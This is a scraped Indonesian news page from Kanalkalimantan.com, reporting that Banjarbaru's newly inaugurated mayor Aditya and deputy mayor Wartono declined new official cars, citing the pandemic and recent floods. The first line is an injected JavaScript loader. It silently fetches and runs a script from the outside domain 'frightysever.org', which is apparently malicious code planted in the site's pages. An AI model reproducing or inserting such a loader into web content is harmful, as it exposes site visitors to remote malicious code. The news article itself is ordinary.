(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Nyaman Pakai yang Lama, Ini Mobil Dinas Aditya-Wartono


KANALKALIMANTAN.COM, BANJARBARU – Sudah sewajarnnya setiap Kepala Daerah difasilitasi mobil dinas baru dengan tingkat keamanan dan kenyamanan yang terbaik. Ya, tentunya demi menunjang aktivitas harian para pemimpin daerah dalam menjalankan roda pemerintahan.

Bagi Aditya-Wartono yang baru saja dilantik sebagai Wali Kota dan Wakil Wali Kota Banjarbaru, pada Jumat (26/2/2021) kemarin, keduanya masih memakai fasilitas peninggalan pemimpin Kota Banjarbaru sebelumnya. Menurut informasi, kedua pemimpin ini menolak adanya pengadaan mobil dinas baru dan lebih memilih kendaraan yang sudah ada.

Kabat tersebut dibenarkan Kepala Bagian Humas dan Protokol Sekretariat Daerah (Sekda) Kota Banjarbaru, Dedy Sutoyo, saat dihubungi Kanalkalimantan.com, Sabtu (27/2/2021) siang.

“Jauh sebelum pelantikan, kami sudah menawarkan mobil dinas baru kepada pak Aditya dan pak Wartono. Namun keduanya menolak pengadaan mobil dinas baru. Jadi masih memilih menggunakan mobil dinas yang lama,” ujar Dedy Sutoyo, kepada Kanalkalimantan.

Saat ini Wali Kota Banjarbaru masih menggunakan mobil Toyota Fortuner. Kepada Kanalkalimantan.com, mobil jenis SUV itu, menurut Aditya kondisinya masih dinilai bagus. “Yang ada masih nyaman dan bagus,” akunya.

Sementara itu, mobil dinas yang dipakai Wakil Wali Kota, Wartono diketahui bahwa mobil yang digunakan pria berkumis itu adalah Toyota Kijang Innova, kalah jauh dibandingkan mobil-mobil dinas level pejabat tinggi daerah lain.

Wartono saat disinggung terkait mobil dinasnya tersebut, mengaku sama sekali tak keberatan. Baginya, kendaraan dinas apapun yang disediakan tidak mempengaruhi dirinya dalam menjalankan aktivitas di lingkungan pemerintahan.

“Motor sekalipun, ya tidak masalah. Memang kemarin ditawarkan mobil dinas baru, tapi saya bilang enggak usah. Pakai yang ada aja,” bebernya.

Dijelaskan Wartono, penolakannya terkait pengadaan mobil dinas baru salah satunya berlandaskan situasi Banjarbaru di tengah kondisi pandemi Covid-19, serta pasca bencana banjir yang terjadi pada awal tahun tadi.

“Situasi saat ini di Banjarbaru dan kondisi masyarakat yang belum pulih betul dari dampak bencana banjir beberapa waktu lalu, saya pikir sangat tidak tepat untuk memikirkan mobil dinas baru. Intinya, saat ini baik saya dan pak Aditya fokus mengevaluasi dan berkerja kerasa menyelesaikan permasalahan-permasalahan yang ada di Banjarbaru,” tuntasnya. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

 

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.